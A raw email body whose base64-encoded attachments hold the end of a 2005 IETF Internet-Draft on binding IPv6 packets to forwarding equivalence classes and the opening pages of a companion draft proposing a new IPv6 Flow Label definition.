cyBpbnZvbHZpbmcgbmV0d29yaw0KICAgcHJvdG9jb2xzIGhhdmUgdGhlIHNhbWUgc2VjdXJpdHkg Y29uc2lkZXJhdGlvbnMgYXMgdGhlIHByb3RvY29scw0KICAgdGhlbXNlbHZlcy4gIFNwZWNpZmlj IGNhc2VzIGFyZSBvdXRsaW5lZCBiZWxvdy4NCg0KNi4xICBVc2Ugb2YgU05NUA0KDQogICBTTk1Q IGhhcyBiZWVuIGRpc2N1c3NlZCBhcyBhIHBvc3NpYmxlIGFwcHJvYWNoIHRvIGRlZmluaW5nIEZF Q3MgYW5kDQogICBGRUMgYmluZGluZ3MuICBJZiB0aGlzIHRlY2huaXF1ZSBpcyB1c2VkLCB0aGUg TUlCcyAoeWV0IHRvIGJlDQogICBkZWZpbmVkKSBjb3VsZCBiZSB1c2VkIHRvIHNldCB1cCA2TFNQ cyB0aGF0IGRlbGl2ZXIgdHJhZmZpYyB0bw0KICAgaW1wcm9wZXIgZGVzdGluYXRpb25zLiAgVGhp cyBzaXR1YXRpb24gaXMgZGlzY3Vzc2VkIGluIHRoZSBkb2N1bWVudA0KICAgdGhhdCBkZWZpbmVz IHRoZSBGVE4gTUlCIFtSRkMgMzgxNF0uICBUaGUgYXV0aG9ycyBvZiB0aGlzIGRvY3VtZW50DQog ICBlbmNvdXJhZ2UgdGhlIHVzZSBvZiBTTk1QdjMgd2hpY2ggaGFzIHNlY3VyaXR5IGZlYXR1cmVz IGJ1aWx0IGluIHRvDQogICBhdm9pZCB1bmF1dGhvcml6ZWQgU2V0IG9wZXJhdGlvbnMgb24gTUlC IHRhYmxlcy4NCg0KDQoNCkJvdW5kLCBldCBhbC4gICAgICAgICAgIEV4cGlyZXMgQXVndXN0IDIx LCAyMDA1ICAgICAgICAgICAgICAgIFtQYWdlIDEyXQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgICBC aW5kaW5nIFBhY2tldHMgdG8gRkVDcyBpbiA2TFNBICAgICAgICBGZWJydWFyeSAyMDA1DQoNCg0K Ni4yICBVc2Ugb2YgTGFiZWwgRGlzdHJpYnV0aW9uIFByb3RvY29scw0KDQogICBUaGlzIGRvY3Vt ZW50IGhhcyBkaXNjdXNzZWQgdGhlIHVzZSBvZiBhIGxhYmVsIGRpc3RyaWJ1dGlvbiBwcm90b2Nv bA0KICAgZm9yIGRlZmluaW5nIGxhYmVsLXRvLUZFQyBtYXBwaW5ncyBpbiA2TFNScy4gIFNwZWNp ZmljIHNlY3VyaXR5DQogICBjb25zaWRlcmF0aW9ucyB3b3VsZCBkZXBlbmQgb24gdGhlIGRldGFp bHMgb2YgdGhlIHByb3RvY29sIHNlbGVjdGVkLg0KICAgQW4gZXhhbXBsZSBvZiB0aGUgc2VjdXJp dHkgY29uc2VxdWVuY2VzIHJlc3VsdGluZyBmcm9tIHRoZSB1c2Ugb2YNCiAgIHN1Y2ggcHJvdG9j b2xzIGNhbiBiZSBmb3VuZCBpbiB0aGUgTERQIHNwZWNpZmljYXRpb24gW1JGQyAzMDM2XS4NCiAg IFRoaXMgZG9jdW1lbnQgcG9pbnRzIG91dCB0aGF0IHRoZSBzZWN1cml0eSByZXF1aXJlbWVudHMg b2YgbGFiZWwNCiAgIGRpc3RyaWJ1dGlvbiBwcm90b2NvbHMgYXJlIHRoZSBzYW1lIGFzIHRob3Nl IG9mIHJvdXRpbmcgcHJvdG9jb2xzLg0KICAgVGhlIExEUCBzcGVjaWZpY2F0aW9uIHN0YXRlcyBm dXJ0aGVyIHRoYXQgIlRvIGF2b2lkIGxhYmVsIHNwb29maW5nDQogICBhdHRhY2tzLCBpdCBpcyBu ZWNlc3NhcnkgdG8gZW5zdXJlIHRoYXQgbGFiZWxlZCBkYXRhIHBhY2tldHMgYXJlDQogICBsYWJl bGVkIGJ5IHRydXN0ZWQgTFNScyBhbmQgdGhhdCB0aGUgbGFiZWxzIHBsYWNlZCBvbiB0aGUgcGFj a2V0cyBhcmUNCiAgIHByb3Blcmx5IGxlYXJuZWQgYnkgdGhlIGxhYmVsaW5nIExTUnMuIg0KDQo3 LiAgUmVmZXJlbmNlcw0KDQogICAgMS4gQnJhZG5lciwgUy4sIEtleSB3b3JkcyBmb3IgdXNlIGlu IFJGQ3MgdG8gSW5kaWNhdGUgUmVxdWlyZW1lbnQNCiAgIExldmVscywgQkNQIDE0LCBSRkMgMjEx OSwgTWFyY2ggMTk5Nw0KDQogICAgMi4gWzZMU0FdIENoYWtyYXZvcnR5LCBTLiwgSVB2NiBMYWJl bCBTd2l0Y2hpbmcgQXJjaGl0ZWN0dXJlICg2TFNBKSwNCiAgIGRyYWZ0LWNoYWtyYXZvcnR5LTZs c2EtMDEudHh0LCBKYW51YXJ5IDIwMDUuDQoNCiAgICAzLiBbUkZDIDMwMzZdIEFuZGVyc3Nvbiwg TC4sIERvb2xhbiwgUC4sIEZlbGRtYW4sIE4uLCBGcmVkZXR0ZSwgQS4sDQogICBhbmQgQi4gVGhv bWFzLCBMRFAgU3BlY2lmaWNhdGlvbiwgUkZDIDMwMzYsIEphbnVhcnkgMjAwMS4NCg0KICAgIDQu IFtSRkMgMzIwOV0gQXdkdWNoZSwgRC4sIEJlcmdlciwgTC4sIEdhbiwgRC4sIExpLCBULiwgU3Jp bml2YXNhbiwNCiAgIFYuLCBhbmQgRy4gU3dhbGxvdywgUlNWUC1URTogRXh0ZW5zaW9ucyB0byBS U1ZQIGZvciBMU1AgVHVubmVscywgUkZDDQogICAzMjA5LCBEZWNlbWJlciAyMDAxLg0KDQogICAg IDUuIFtSRkMgMzY5N10gUmFqYWhhbG1lLCBKLiwgQ29udGEsIEEuLCBDYXJwZW50ZXIsIEIuLCBh bmQgUy4NCiAgIERlZXJpbmcsIElQdjYgRmxvdyBMYWJlbCBTcGVjaWZpY2F0aW9uLCBSRkMgMzY5 NywgTWFyY2ggMjAwNC4NCg0KICAgIDYuIFtSRkMgMzIxMl0gSmFtb3Vzc2ksIEIuLCBldC4gYWws IENvbnN0cmFpbnQtQmFzZWQgTFNQIFNldHVwIHVzaW5nDQogICBMRFAsIFJGQyAzMjEyLCBKYW51 YXJ5MiAwMDIuDQoNCiAgICA3LiBbUkZDIDI0NzRdIE5pY2hvbHMsIEsuLCBCbGFrZSwgUy4sIEJh a2VyLCBGLiwgYW5kIEQuIEJsYWNrLA0KICAgRGVmaW5pdGlvbiBvZiB0aGUgRGlmZmVyZW50aWF0 ZWQgU2VydmljZXMgRmllbGQgKERTIEZpZWxkKSBpbiB0aGUNCiAgIElQdjQgYW5kIElQdjYgSGVh ZGVycywgUkZDIDI0NzQsIERlY2VtYmVyIDE5OTguDQoNCiAgICA4LiBbUkZDIDM4MTRdIE5hZGVh dSwgVC4sIFNyaW5pdmFzYW4sIEMuLCBhbmQgQS4gVmlzd2FuYXRoYW4sDQogICBNdWx0aXByb3Rv Y29sIExhYmVsIFN3aXRjaGluZyAoTVBMUykgRm9yd2FyZGluZyBFcXVpdmFsZW5jZSBDbGFzcyBU bw0KICAgTmV4dCBIb3AgTGFiZWwgRm9yd2FyZGluZyBFbnRyeSAoRkVDLVRvLU5ITEZFKSBNYW5h Z2VtZW50IEluZm9ybWF0aW9uDQogICBCYXNlIChNSUIpLCBSRkMgMzgxNCwgSnVuZSAyMDA0Lg0K DQogICAgOS4gW1JGQyAzODEzXSBTcmluaXZhc2FuLCBDLiwgVmlzd2FuYXRoYW4sIEEuLCBhbmQg VC4gTmFkZWF1LA0KICAgTXVsdGlwcm90b2NvbCBMYWJlbCBTd2l0Y2hpbmcgKE1QTFMpIExhYmVs IFN3aXRjaGluZyBSb3V0ZXIgKExTUikNCiAgIE1hbmFnZW1lbnQgSW5mb3JtYXRpb24gQmFzZSAo TUlCKSwgUkZDIDM4MTMsIEp1bmUgMjAwNC4NCg0KDQoNCg0KQm91bmQsIGV0IGFsLiAgICAgICAg ICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUgICAgICAgICAgICAgICAgW1BhZ2UgMTNdDQoMDQpJ bnRlcm5ldC1EcmFmdCAgICAgIEJpbmRpbmcgUGFja2V0cyB0byBGRUNzIGluIDZMU0EgICAgICAg IEZlYnJ1YXJ5IDIwMDUNCg0KDQo4LiAgQWNrbm93bGVnZW1lbnRzDQoNCiAgIFRoZSBhdXRob3Jz IGRlZXBseSBhcHByZWNpYXRlcyBNaXRyZSBtYW5hZ2VtZW50IHN1cHBvcnQgZm9yDQogICBpbXBs ZW1lbnRhdGlvbiBvZiB0aGlzIHByb3RvY29sLg0KDQo5LiAgRGlzY2xhaW1lcg0KDQogICBUaGUg YXV0aG9ycycgYWZmaWxpYXRpb24gd2l0aCBIUCBhbmQgdGhlIE1JVFJFIENvcnBvcmF0aW9uIGlz DQogICBwcm92aWRlZCBmb3IgaWRlbnRpZmljYXRpb24gcHVycG9zZXMgb25seSwgYW5kIGlzIG5v dCBpbnRlbmRlZCB0bw0KICAgY29udmV5IG9yIGltcGx5IGVpdGhlciBIUCdzIG9yIE1JVFJFknMg Y29uY3VycmVuY2Ugd2l0aCwgb3Igc3VwcG9ydA0KICAgZm9yLCB0aGUgcG9zaXRpb25zLCBvcGlu aW9ucyBvciB2aWV3cG9pbnRzIGV4cHJlc3NlZCBieSB0aGUgYXV0aG9ycy4NCg0KDQpBdXRob3Jz JyBBZGRyZXNzZXMNCg0KICAgSmltIGJvdW5kDQogICBOQXY2VEYNCiAgIFAuTy4gQm94DQogICBI b2xsaXMsIE5IICAyMjEwMg0KICAgVVNBDQoNCiAgIEVNYWlsOiBKaW0uYm91bmRAaHAuY29tDQoN Cg0KICAgU2hhbSBDaGFrcmF2b3J0eQ0KICAgVGhlIE1JVFJFIENvcnBvcmF0aW9uDQogICAxNTc1 IENvbHNoaXJlIERyLg0KICAgTWNMZWFuLCBWQSAgMjIxMDINCiAgIFVTQQ0KDQogICBFTWFpbDog c2NoYWtyYUBtaXRyZS5vcmcNCg0KDQogICBEb24gQ2hpcmllbGVpc29uDQogICBUaGUgTUlUUkUg Q29ycG9yYXRpb24NCiAgIDc1MTUgQ29sc2hpcmUgRHIuDQogICBNY0xlYW4sIFZBICAyMjEwMg0K ICAgVVNBDQoNCiAgIEVNYWlsOiBkb25jQG1pdHJlLm9yZw0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN CkJvdW5kLCBldCBhbC4gICAgICAgICAgIEV4cGlyZXMgQXVndXN0IDIxLCAyMDA1ICAgICAgICAg ICAgICAgIFtQYWdlIDE0XQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgICBCaW5kaW5nIFBhY2tldHMg dG8gRkVDcyBpbiA2TFNBICAgICAgICBGZWJydWFyeSAyMDA1DQoNCg0KSW50ZWxsZWN0dWFsIFBy b3BlcnR5IFN0YXRlbWVudA0KDQogICBUaGUgSUVURiB0YWtlcyBubyBwb3NpdGlvbiByZWdhcmRp bmcgdGhlIHZhbGlkaXR5IG9yIHNjb3BlIG9mIGFueQ0KICAgSW50ZWxsZWN0dWFsIFByb3BlcnR5 IFJpZ2h0cyBvciBvdGhlciByaWdodHMgdGhhdCBtaWdodCBiZSBjbGFpbWVkIHRvDQogICBwZXJ0 YWluIHRvIHRoZSBpbXBsZW1lbnRhdGlvbiBvciB1c2Ugb2YgdGhlIHRlY2hub2xvZ3kgZGVzY3Jp YmVkIGluDQogICB0aGlzIGRvY3VtZW50IG9yIHRoZSBleHRlbnQgdG8gd2hpY2ggYW55IGxpY2Vu c2UgdW5kZXIgc3VjaCByaWdodHMNCiAgIG1pZ2h0IG9yIG1pZ2h0IG5vdCBiZSBhdmFpbGFibGU7 IG5vciBkb2VzIGl0IHJlcHJlc2VudCB0aGF0IGl0IGhhcw0KICAgbWFkZSBhbnkgaW5kZXBlbmRl bnQgZWZmb3J0IHRvIGlkZW50aWZ5IGFueSBzdWNoIHJpZ2h0cy4gIEluZm9ybWF0aW9uDQogICBv biB0aGUgcHJvY2VkdXJlcyB3aXRoIHJlc3BlY3QgdG8gcmlnaHRzIGluIFJGQyBkb2N1bWVudHMg Y2FuIGJlDQogICBmb3VuZCBpbiBCQ1AgNzggYW5kIEJDUCA3OS4NCg0KICAgQ29waWVzIG9mIElQ UiBkaXNjbG9zdXJlcyBtYWRlIHRvIHRoZSBJRVRGIFNlY3JldGFyaWF0IGFuZCBhbnkNCiAgIGFz c3VyYW5jZXMgb2YgbGljZW5zZXMgdG8gYmUgbWFkZSBhdmFpbGFibGUsIG9yIHRoZSByZXN1bHQg b2YgYW4NCiAgIGF0dGVtcHQgbWFkZSB0byBvYnRhaW4gYSBnZW5lcmFsIGxpY2Vuc2Ugb3IgcGVy bWlzc2lvbiBmb3IgdGhlIHVzZSBvZg0KICAgc3VjaCBwcm9wcmlldGFyeSByaWdodHMgYnkgaW1w bGVtZW50ZXJzIG9yIHVzZXJzIG9mIHRoaXMNCiAgIHNwZWNpZmljYXRpb24gY2FuIGJlIG9idGFp bmVkIGZyb20gdGhlIElFVEYgb24tbGluZSBJUFIgcmVwb3NpdG9yeSBhdA0KICAgaHR0cDovL3d3 dy5pZXRmLm9yZy9pcHIuDQoNCiAgIFRoZSBJRVRGIGludml0ZXMgYW55IGludGVyZXN0ZWQgcGFy dHkgdG8gYnJpbmcgdG8gaXRzIGF0dGVudGlvbiBhbnkNCiAgIGNvcHlyaWdodHMsIHBhdGVudHMg b3IgcGF0ZW50IGFwcGxpY2F0aW9ucywgb3Igb3RoZXIgcHJvcHJpZXRhcnkNCiAgIHJpZ2h0cyB0 aGF0IG1heSBjb3ZlciB0ZWNobm9sb2d5IHRoYXQgbWF5IGJlIHJlcXVpcmVkIHRvIGltcGxlbWVu dA0KICAgdGhpcyBzdGFuZGFyZC4gIFBsZWFzZSBhZGRyZXNzIHRoZSBpbmZvcm1hdGlvbiB0byB0 aGUgSUVURiBhdA0KICAgaWV0Zi1pcHJAaWV0Zi5vcmcuDQoNCg0KRGlzY2xhaW1lciBvZiBWYWxp ZGl0eQ0KDQogICBUaGlzIGRvY3VtZW50IGFuZCB0aGUgaW5mb3JtYXRpb24gY29udGFpbmVkIGhl cmVpbiBhcmUgcHJvdmlkZWQgb24gYW4NCiAgICJBUyBJUyIgYmFzaXMgYW5kIFRIRSBDT05UUklC VVRPUiwgVEhFIE9SR0FOSVpBVElPTiBIRS9TSEUgUkVQUkVTRU5UUw0KICAgT1IgSVMgU1BPTlNP UkVEIEJZIChJRiBBTlkpLCBUSEUgSU5URVJORVQgU09DSUVUWSBBTkQgVEhFIElOVEVSTkVUDQog ICBFTkdJTkVFUklORyBUQVNLIEZPUkNFIERJU0NMQUlNIEFMTCBXQVJSQU5USUVTLCBFWFBSRVNT IE9SIElNUExJRUQsDQogICBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIEFOWSBXQVJSQU5U WSBUSEFUIFRIRSBVU0UgT0YgVEhFDQogICBJTkZPUk1BVElPTiBIRVJFSU4gV0lMTCBOT1QgSU5G UklOR0UgQU5ZIFJJR0hUUyBPUiBBTlkgSU1QTElFRA0KICAgV0FSUkFOVElFUyBPRiBNRVJDSEFO VEFCSUxJVFkgT1IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuDQoNCg0KQ29weXJp Z2h0IFN0YXRlbWVudA0KDQogICBDb3B5cmlnaHQgKEMpIFRoZSBJbnRlcm5ldCBTb2NpZXR5ICgy MDA1KS4gIFRoaXMgZG9jdW1lbnQgaXMgc3ViamVjdA0KICAgdG8gdGhlIHJpZ2h0cywgbGljZW5z ZXMgYW5kIHJlc3RyaWN0aW9ucyBjb250YWluZWQgaW4gQkNQIDc4LCBhbmQNCiAgIGV4Y2VwdCBh cyBzZXQgZm9ydGggdGhlcmVpbiwgdGhlIGF1dGhvcnMgcmV0YWluIGFsbCB0aGVpciByaWdodHMu DQoNCg0KQWNrbm93bGVkZ21lbnQNCg0KICAgRnVuZGluZyBmb3IgdGhlIFJGQyBFZGl0b3IgZnVu Y3Rpb24gaXMgY3VycmVudGx5IHByb3ZpZGVkIGJ5IHRoZQ0KICAgSW50ZXJuZXQgU29jaWV0eS4N Cg0KDQoNCg0KQm91bmQsIGV0IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUg ICAgICAgICAgICAgICAgW1BhZ2UgMTVdDQoMDQo= ------_=_NextPart_001_01C51CFB.03194768 Content-Type: text/plain; name="draft-chakravorty-bcz-ipv6-flow-label-00.txt" Content-Description: draft-chakravorty-bcz-ipv6-flow-label-00.txt Content-Disposition: attachment; filename="draft-chakravorty-bcz-ipv6-flow-label-00.txt" Content-Transfer-Encoding: base64 DQoNCk5ldHdvcmsgV29ya2luZyBHcm91cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBKLiBCb3VuZA0KSW50ZXJuZXQtRHJhZnQgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTkF2NlRGDQpFeHBpcmVzOiBBdWd1c3QgMjEs IDIwMDUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUy4gQ2hha3Jhdm9ydHkNCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICBLLiBaaGFuZw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgVGhlIE1JVFJFIENvcnBvcmF0aW9uDQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmVicnVhcnkgMjAsIDIwMDUNCg0KDQogICAg ICAgICAgICAgICAgUHJvcG9zYWwgZm9yIGEgTmV3IEZsb3cgTGFiZWwgRGVmaW5pdGlvbg0KICAg ICAgICAgICAgICAgICAgIGRyYWZ0LWNoYWtyYXZvcnR5LWJjYy1mbG93bGFiZWwtMDANCg0KU3Rh dHVzIG9mIHRoaXMgTWVtbw0KDQogICBUaGlzIGRvY3VtZW50IGlzIGFuIEludGVybmV0LURyYWZ0 IGFuZCBpcyBzdWJqZWN0IHRvIGFsbCBwcm92aXNpb25zDQogICBvZiBzZWN0aW9uIDMgb2YgUkZD IDM2NjcuICBCeSBzdWJtaXR0aW5nIHRoaXMgSW50ZXJuZXQtRHJhZnQsIGVhY2gNCiAgIGF1dGhv ciByZXByZXNlbnRzIHRoYXQgYW55IGFwcGxpY2FibGUgcGF0ZW50IG9yIG90aGVyIElQUiBjbGFp bXMgb2YNCiAgIHdoaWNoIGhlIG9yIHNoZSBpcyBhd2FyZSBoYXZlIGJlZW4gb3Igd2lsbCBiZSBk aXNjbG9zZWQsIGFuZCBhbnkgb2YNCiAgIHdoaWNoIGhlIG9yIHNoZSBiZWNvbWUgYXdhcmUgd2ls bCBiZSBkaXNjbG9zZWQsIGluIGFjY29yZGFuY2Ugd2l0aA0KICAgUkZDIDM2NjguDQoNCiAgIElu dGVybmV0LURyYWZ0cyBhcmUgd29ya2luZyBkb2N1bWVudHMgb2YgdGhlIEludGVybmV0IEVuZ2lu ZWVyaW5nDQogICBUYXNrIEZvcmNlIChJRVRGKSwgaXRzIGFyZWFzLCBhbmQgaXRzIHdvcmtpbmcg Z3JvdXBzLiAgTm90ZSB0aGF0DQogICBvdGhlciBncm91cHMgbWF5IGFsc28gZGlzdHJpYnV0ZSB3 b3JraW5nIGRvY3VtZW50cyBhcw0KICAgSW50ZXJuZXQtRHJhZnRzLg0KDQogICBJbnRlcm5ldC1E cmFmdHMgYXJlIGRyYWZ0IGRvY3VtZW50cyB2YWxpZCBmb3IgYSBtYXhpbXVtIG9mIHNpeCBtb250 aHMNCiAgIGFuZCBtYXkgYmUgdXBkYXRlZCwgcmVwbGFjZWQsIG9yIG9ic29sZXRlZCBieSBvdGhl ciBkb2N1bWVudHMgYXQgYW55DQogICB0aW1lLiAgSXQgaXMgaW5hcHByb3ByaWF0ZSB0byB1c2Ug SW50ZXJuZXQtRHJhZnRzIGFzIHJlZmVyZW5jZQ0KICAgbWF0ZXJpYWwgb3IgdG8gY2l0ZSB0aGVt IG90aGVyIHRoYW4gYXMgIndvcmsgaW4gcHJvZ3Jlc3MuIg0KDQogICBUaGUgbGlzdCBvZiBjdXJy ZW50IEludGVybmV0LURyYWZ0cyBjYW4gYmUgYWNjZXNzZWQgYXQNCiAgIGh0dHA6Ly93d3cuaWV0 Zi5vcmcvaWV0Zi8xaWQtYWJzdHJhY3RzLnR4dC4NCg0KICAgVGhlIGxpc3Qgb2YgSW50ZXJuZXQt RHJhZnQgU2hhZG93IERpcmVjdG9yaWVzIGNhbiBiZSBhY2Nlc3NlZCBhdA0KICAgaHR0cDovL3d3 dy5pZXRmLm9yZy9zaGFkb3cuaHRtbC4NCg0KICAgVGhpcyBJbnRlcm5ldC1EcmFmdCB3aWxsIGV4 cGlyZSBvbiBBdWd1c3QgMjEsIDIwMDUuDQoNCkNvcHlyaWdodCBOb3RpY2UNCg0KICAgQ29weXJp Z2h0IChDKSBUaGUgSW50ZXJuZXQgU29jaWV0eSAoMjAwNSkuDQoNCkFic3RyYWN0DQoNCiAgIFRo ZSBJUHY2IGhlYWRlciBpbmNsdWRlcyBhIDIwLWJpdCBGbG93IExhYmVsIGZpZWxkLiAgUkZDIDM2 OTcsICJJUHY2DQogICBGbG93IExhYmVsIFNwZWNpZmljYXRpb24iIFsxXSBzcGVjaWZpZWQgdGhp cyBmaWVsZCBhbmQgbWluaW11bQ0KICAgcmVxdWlyZW1lbnRzIGZvciB1c2luZyB0aGUgZmllbGQu ICBUaGlzIGRvY3VtZW50IGZpcnN0IGlkZW50aWZpZXMNCiAgIHNldmVyYWwgaXNzdWVzIHJlbGF0 ZWQgdG8gdGhlIGN1cnJlbnQgRmxvdyBMYWJlbCBzcGVjaWZpY2F0aW9uOyB0aGVuDQogICBpdCBk aXNjdXNzZXMgdGhlIGxpbWl0YXRpb25zIG9mIHRoZSBjdXJyZW50IHNwZWNpZmljYXRpb24gYW5k IHRoZQ0KDQoNCg0KQm91bmQsIGV0IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIw MDUgICAgICAgICAgICAgICAgIFtQYWdlIDFdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICBQcm9wb3Nh bCBmb3IgYSBOZXcgRmxvdyBMYWJlbCBEZWZpbml0aW9uIEZlYnJ1YXJ5IDIwMDUNCg0KDQogICBu ZWVkIGZvciBleHRlbmRpbmcgdGhlIGRlZmluaXRpb24gdG8gYWNjb21tb2RhdGUgZW1lcmdpbmcN CiAgIGFwcGxpY2F0aW9ucyBhbmQgcHJvdG9jb2xzOyBmaW5hbGx5LCBhIG5ldyBGbG93IExhYmVs IHNwZWNpZmljYXRpb24NCiAgIGlzIHByb3Bvc2VkIHRoYXQgZW5hYmxlcyBtb3JlIGVmZmVjdGl2 ZSB1c2FnZSBvZiB0aGlzIGZpZWxkLg0KDQpUYWJsZSBvZiBDb250ZW50cw0KDQogICAxLiAgSW50 cm9kdWN0aW9uIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gIDMNCiAgIDIuICBCYWNrZ3JvdW5kIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAuIC4gLiAuIC4gLiAuIC4gLiAgNA0KICAgMy4gIElzc3VlcyBDb25jZXJuaW5nIHRoZSBDdXJy ZW50IEZsb3cgTGFiZWwgLiAuIC4gLiAuIC4gLiAuIC4gLiAuICA1DQogICA0LiAgTmV3IEZsb3cg TGFiZWwgU3BlY2lmaWNhdGlvbiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gIDcN CiAgICAgNC4xICAgSW1wbGljYXRpb25zIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAuIC4gLiAuIC4gLiAgOQ0KICAgNS4gIEFuIEVtZXJnaW5nIFVzYWdlIGZvciB0aGUgRmxvdyBM YWJlbCBGaWVsZCAuIC4gLiAuIC4gLiAuIC4gLiAuICA5DQogICA2LiAgQmVuZWZpdHMgb2YgRmxl eGlibGUgTGFiZWwgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gMTANCiAgIDcu ICBTZWN1cml0eSBDb25zaWRlcmF0aW9ucyAgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAuIC4gLiAxMg0KICAgOC4gIEFja25vd2xlZ2VtZW50cyAgLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDEzDQogICA5LiAgRGlzY2xhaW1lciAuIC4gLiAuIC4g LiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gMTMNCiAgIDEwLiAgIFJl ZmVyZW5jZXMgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g LiAxMw0KICAgICAgIEF1dGhvcnMnIEFkZHJlc3NlcyAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIDE0DQogICAgICAgSW50ZWxsZWN0dWFsIFByb3BlcnR5IGFuZCBD b3B5cmlnaHQgU3RhdGVtZW50cyAuIC4gLiAuIC4gLiAuIC4gMTUNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQpCb3VuZCwgZXQg YWwuICAgICAgICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICAgW1Bh Z2UgMl0NCgwNCkludGVybmV0LURyYWZ0ICAgIFByb3Bvc2FsIGZvciBhIE5ldyBGbG93IExhYmVs IERlZmluaXRpb24gRmVicnVhcnkgMjAwNQ0KDQoNCjEuICBJbnRyb2R1Y3Rpb24NCg0KICAgVGhl IElQdjYgaGVhZGVyIGluY2x1ZGVzIGEgMjAtYml0IEZsb3cgTGFiZWwgZmllbGQuICBSRkMgMzY5 NyBbMV0NCiAgIHNwZWNpZmllZCB0aGlzIGZpZWxkIGFuZCB0aGUgbWluaW11bSByZXF1aXJlbWVu dHMgcmVxdWlyZWQgZm9yIHVzaW5nDQogICBpdC4gIFRoaXMgZG9jdW1lbnQgaWRlbnRpZmllcyBz ZXZlcmFsIGlzc3VlcyByZWxhdGVkIHRvIHRoZSBjdXJyZW50DQogICBGbG93IExhYmVsIHNwZWNp ZmljYXRpb24sIGl0IGFsc28gZGlzY3Vzc2VzIHRoZSBsaW1pdGF0aW9ucyBvZiB0aGUNCiAgIGN1 cnJlbnQgc3BlY2lmaWNhdGlvbiBhbmQgdGhlIG5lZWQgZm9yIGV4cGFuZGluZyB0aGUgZGVmaW5p dGlvbiB0bw0KICAgYWNjb21tb2RhdGUgZW1lcmdpbmcgYXBwbGljYXRpb25zIGFuZCBwcm90b2Nv bHMuICBBZGRpdGlvbmFsbHksIGEgbmV3DQogICBGbG93IExhYmVsIGRlZmluaXRpb24gaXMgcHJv cG9zZWQgdGhhdCBlbmFibGVzIG1vcmUgZWZmZWN0aXZlIHVzZSBvZg0KICAgdGhpcyBmaWVsZC4N Cg0KICAgQSBGbG93IExhYmVsIGlzIGRlZmluZWQgaW4gWzFdIHRvIGJlIJFhIHNlcXVlbmNlIG9m IHBhY2tldHMgc2VudCBmcm9tDQogICBhIHBhcnRpY3VsYXIgc291cmNlIHRvIGEgcGFydGljdWxh ciB1bmljYXN0LCBhbnljYXN0LCBvciBtdWx0aWNhc3QNCiAgIGRlc3RpbmF0aW9uIHRoYXQgdGhl IHNvdXJjZSBkZXNpcmVzIHRvIGxhYmVsIGFzIGEgZmxvdy6SIEl0IG1heSBiZQ0KICAgdXNlZCBi eSBhIHNvdXJjZSB0byBsYWJlbCBzZXF1ZW5jZXMgb2YgcGFja2V0cyBmb3Igd2hpY2ggaXQgcmVx dWVzdHMNCiAgIHNwZWNpYWwgaGFuZGxpbmcgYnkgdGhlIElQdjYgcm91dGVycy4gIFN1Y2ggaGFu ZGxpbmcgY291bGQgY29tcHJpc2UNCiAgIG5vbi1kZWZhdWx0IHF1YWxpdHkgb2Ygc2VydmljZSBv ciCRcmVhbC10aW1lkiBzZXJ2aWNlLg0KDQogICBIb3cgdG8gaWRlbnRpZnkgYSBmbG93IGFuZCBh c3NpZ24gbGFiZWxzIHRvIGZsb3dzIGFyZSBzcGVjaWZpZWQgaW4NCiAgIFJGQyAzNjk3WzFdIGFz IGZvbGxvd3M6DQoNCiAgIAktIEEgZmxvdyBpcyB1bmlxdWVseSBpZGVudGlmaWVkIGJ5IHRoZSAz LXR1cGxlIG9mIHNvdXJjZSBhZGRyZXNzLA0KICAgZGVzdGluYXRpb24gYWRkcmVzcyBhbmQgYSBu b24temVybyBGbG93IExhYmVsLg0KDQogICAJLSBBbGwgcGFja2V0cyBiZWxvbmdpbmcgdG8gdGhl IHNhbWUgZmxvdyBtdXN0IGJlIHNlbnQgd2l0aCB0aGUgc2FtZQ0KICAgc291cmNlIGFkZHJlc3Ms IGRlc3RpbmF0aW9uIGFkZHJlc3MsIGFuZCBGbG93IExhYmVsLg0KDQogICAJLSBQYWNrZXRzIHRo YXQgZG8gbm90IGJlbG9uZyB0byBhIGZsb3cgY2FycnkgYSBGbG93IExhYmVsIG9mIHplcm8uDQoN CiAgIAktIE5ldyBGbG93IExhYmVscyBtdXN0IGJlIGNob3NlbiAocHNldWRvLSlyYW5kb21seSBh 